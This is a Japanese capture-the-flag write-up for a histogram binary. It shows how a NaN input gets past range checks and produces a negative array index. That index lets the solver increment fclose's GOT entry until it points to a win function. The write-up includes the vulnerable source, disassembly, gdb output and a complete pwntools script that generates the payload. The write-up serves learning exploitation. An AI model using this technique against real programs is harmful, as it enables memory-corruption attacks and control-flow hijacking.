TL;DR

  • 数値に対するバリデーションが硬いが、NaNを入れるとバリデーションを突破出来る
  • これであるグローバル配列の負のインデックスに対する書き込み(インクリメント)が出来る
  • グローバル配列の真上にあるGOTを所望の数だけインクリメントしてフラグ開示を行う関数のアドレスに書き換える

Prerequisite

  • NaNの仕様
  • GOT Overwrite

Writeup

次のコードとそれをコンパイルしたバイナリ、それをsubprocessとして動かすFlaskのコードが与えられる。

#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <limits.h>

#define WEIGHT_MAX 600 // kg
#define HEIGHT_MAX 300 // cm
#define WEIGHT_STRIDE 10
#define HEIGHT_STRIDE 10
#define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE)
#define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE)

int map[WSIZE][HSIZE] = {0};
int wsum[WSIZE] = {0};
int hsum[HSIZE] = {0};

/* Fatal error */
void fatal(const char *msg) {
  printf("{\"status\":\"error\",\"reason\":\"%s\"}", msg);
  exit(1);
}

/* Call this function to get the flag! */
void win(void) {
  char flag[0x100];
  FILE *fp = fopen("flag.txt", "r");
  int n = fread(flag, 1, sizeof(flag), fp);
  printf("%s", flag);
  exit(0);
}

int read_data(FILE *fp) {
  /* Read data */
  double weight, height;
  int n = fscanf(fp, "%lf,%lf", &weight, &height);
  if (n == -1)
    return 1; /* End of data */
  else if (n != 2)
    fatal("Invalid input");

  /* Validate input */
  if (weight < 1.0 || weight >= WEIGHT_MAX)
    fatal("Invalid weight");
  if (height < 1.0 || height >= HEIGHT_MAX)
    fatal("Invalid height");

  /* Store to map */
  short i, j;
  i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
  j = (short)ceil(height / HEIGHT_STRIDE) - 1;
  
  map[i][j]++;
  wsum[i]++;
  hsum[j]++;

  return 0;
}

/* Print an array in JSON format */
void json_print_array(int *arr, short n) {
  putchar('[');
  for (short i = 0; i < n; i++) {
    printf("%d", arr[i]);
    if (i != n-1) putchar(',');
  }
  putchar(']');
}

int main(int argc, char **argv) {
  if (argc < 2)
    fatal("No input file");

  /* Open CSV */
  FILE *fp = fopen(argv[1], "r");
  if (fp == NULL)
    fatal("Cannot open the file");

  /* Read data from the file */
  int n = 0;
  while (read_data(fp) == 0)
    if (++n > SHRT_MAX)
      fatal("Too many input");

  /* Show result */
  printf("{\"status\":\"success\",\"result\":{\"wsum\":");
  json_print_array(wsum, WSIZE);
  printf(",\"hsum\":");
  json_print_array(hsum, HSIZE);
  printf(",\"map\":[");
  for (short i = 0; i < WSIZE; i++) {
    json_print_array(map[i], HSIZE);
    if (i != WSIZE-1) putchar(',');
  }
  printf("]}}");

  fclose(fp);
  return 0;
}

元の問題は、これをSubprocessで動かしているWebアプリケーションに対するPwnであるが、ここでは簡単のため、バイナリのwin関数を呼んでフラグを開示出来たら勝ちとする。

バイナリの大まかな動きは次の通りである。

  1. CSVファイルを引数にとって1行ずつ読み込んで次の操作をする
    1. カンマ区切りで2つの値を取り出す
    2. ヒストグラムを作成するために10刻みの値で配列に度数を格納する、また2次元分布作成の為に同じようなことを2次元配列でも行う
  2. 作られた配列をJSONに変換して出力する

入力で関与出来る書き込み箇所は次である。

  map[i][j]++;
  wsum[i]++;
  hsum[j]++;

これらはグローバル変数であり、.bssセクションに存在している。アドレスの小さい順にmap, wsum, hsumの順で存在している。

真っ先に思いつくのはここに異常な値を入れて重要な値を書き換えることだが、残念ながら次のような厳重なチェックが存在している。

  /* Validate input */
  if (weight < 1.0 || weight >= WEIGHT_MAX)
    fatal("Invalid weight");
  if (height < 1.0 || height >= HEIGHT_MAX)
    fatal("Invalid height");

WEIGHT_MAXHEIGHT_MAXの設定が完璧なので数値を大きくする事は難しい、もちろん小さくする方も同様であり、負の数を入れてmapより上に存在する領域に書き込むのも難しそうである。

したがって、数値「以外」の何かを入れる方法を考える。浮動小数点の仕様を定めているIEEE 754のWikipedia記事を眺めると次のような実数では無いものが目に入る。

  • +∞と−∞。
  • 2種類の非数 (NaN)。

無限大の方はおそらく先程の方のチェックに引っかかってしまうのでNaNを試してみる。NaN,NaNを含むCSVファイルを渡して実行すると次のような結果になった。

$ ./histogram.bin sample.csv
fish: './histogram.bin sample.csv' terminated by signal SIGSEGV (Address boundary error)

開発者を悩ませるSIGSEGVだが、Pwnをする上ではだいたい領域外書き込みをしているのでかなり嬉しいことである。更に嬉しいのは処理の順序的にNaNが先程のバリデーションを突破したことである1

ではここで何が起こっているのかを確かめるためにディスアセンブル結果を見てみると次のようになっていた2

        004013bf e8 7c fd        CALL       ceil                                             double ceil(double __x)
        004013c4 f2 0f 2c c0     CVTTSD2SI  EAX,XMM0
        004013c8 83 e8 01        SUB        EAX,0x1
        004013cb 66 89 45 e0     MOV        word ptr [RBP + local_28],AX
        004013cf f2 0f 10        MOVSD      XMM0,qword ptr [RBP + local_18]
        004013d4 f2 0f 10        MOVSD      XMM1,qword ptr [DAT_004020f8]                    = 4024000000000000h
        004013dc f2 0f 5e c1     DIVSD      XMM0,XMM1
        004013e0 e8 5b fd        CALL       ceil                                             double ceil(double __x)
        004013e5 f2 0f 2c c0     CVTTSD2SI  EAX,XMM0
        004013e9 83 e8 01        SUB        EAX,0x1

shortへのキャストは一旦intへキャストして、その下位バイトをとっている。そしてintへのキャストはCVTTSD2SIという命令で行われているようである。参考文献に載せたサイトによればこんなことが書いてある。

If a converted result exceeds the range limits of signed doubleword integer (in non-64-bit modes or 64-bit mode with REX.W/VEX.W/EVEX.W=0), the floating-point invalid exception is raised, and if this exception is masked, the indefinite integer value (80000000H) is returned.

「例外を捕捉したら0x80000000を返す」と書いてあるがNaNではこれが発生しそうである。そしてそれが発生した場合はこの値が返り、これはshortにキャストすると0になる。よってその後のデクリメントによって-1になると考えられる。

実際に0x4013cbにブレークポイントをおいて、gdbでaxの値を覗いてみると次のようになった。

pwndbg> p/x $ax
$4 = 0xffff
pwndbg> p $ax
$5 = -1
pwndbg> 

というわけで、ソースコードでいうとこのijには-1であれば負の数を入れることが可能になる。これによってmap[-1][j]++による書き込みが発生し、mapより上のアドレスに入っている値をインクリメントすることが出来る。

問題はどこをインクリメントするかであるが、mapがグローバル変数が置かれる.bssセクションにあり、その上を見ると都合の良い事に.got.pltセクションが存在している(以下、面倒なのでGOTとする)。ここはライブラリ関数に対して、アドレス解決していればlibc内のアドレスが入っているが、そうでなければアドレス解決をするための処理を行うアドレスが入っており、ここでは0x401020付近になる。

ソースコードを読むと未だに使われておらず、かつ通常の処理であれば呼ばれそうな関数としてfcloseがあるためfcloseのGOTに入っている値をインクリメントしてwinのアドレスに書き換えられないかを考える。

運が良い事にfcloseのアドレス解決を行うアドレスは0x401060なのに対して、winのアドレスは0x401268である。よってこの差分(0x208)だけインクリメントすれば次にfcloseが呼ばれた時にwinが呼ばれることになる。

最後の問題はmap[-1][j]fcloseのGOTを書き換えるためのjはなんなのかということである。こういう時はソースコードを読むよりGhidraの方が具体的な数値にしてくれるのでわかりやすく、次のようになっている。

    *(int *)(map + ((long)(int)sVar1 * 0x1e + (long)(int)sVar2) * 4) =
         *(int *)(map + ((long)(int)sVar1 * 0x1e + (long)(int)sVar2) * 4) + 1;

sVar1sVar2はそれぞれi,jに対応する。

sVar1にはNaNを入れたことによって-1が入るので実際はmapのアドレスから(-0x1e + sVar2) * 4だけ離れた場所に書き込みが行われる。mapfcloseのGOT間の距離はローカルで求められるのでそれがこの値となるようにsVar2を計算し、更にそれになるCSVの値を調整すれば良い。ハードコーディングすると間違えた時に面倒くさそうなので下記コードに全部やらせた。

するとNaN,30によって、fcloseのGOTがインクリメントされることがわかるのでこれを0x208行並べたCSVを読ませれば良い。実際に実行してみると次のようになる。

$ ./histogram.bin payload.csv
{"status":"success","result": <snipped> 0,520]]}}DUMMY{The flag exists in the working directory of histogram.bin}

無事に末尾にダミーのフラグが生えていることがわかる。

Code

CSVの生成コードのみ

from pwn import process, ELF


def dump_dict_by_hex(d):
    for k, v in d.items():
        print(f"{k}: {hex(v)}")


elf = ELF("./histogram.bin")

addrs = {
    "win": elf.functions.win.address,
    "plt_fclose": 0x401060,        # change this value to `win` by increments
    "got_fclose": elf.got.fclose,  # target to write
    "map":elf.symbols.map
}

# NaN, local_18
#   sVar2 = (local_18 / 10) - 1
#   write to: (map + ((long)(int)sVar1 * 0x1e + (long)(int)sVar2) * 4)
#   write to: map + (-1 * 0x1e + sVar2) * 4
#   map - got_fclose = 4 * (0x1e - sVar2)
#   offset = 4 * (0x1e - sVar2)
#   sVar2 = 0x1e - diff // 4

offset = addrs["map"] - addrs["got_fclose"]
sVar2 = 0x1e - offset // 4
local_18 = (sVar2 + 1) * 10


diff = addrs["win"] - addrs["plt_fclose"]
payload = f"NaN,{local_18}\n" * diff
with open("./payload.csv", "w") as f:
    f.write(payload)

Flag

ローカルでやっただけなので無し

Resources


1

おそらくNaNとの比較が常にFalseになるんだと思う

2

解き直しにおいては競技をしている時よりあらゆるリソースに余裕があるので仕様や命令レベルで調査と検証をしているが、おそらくgdbで値を覗いたり軽くC言語のコードを書いて検証した方が早い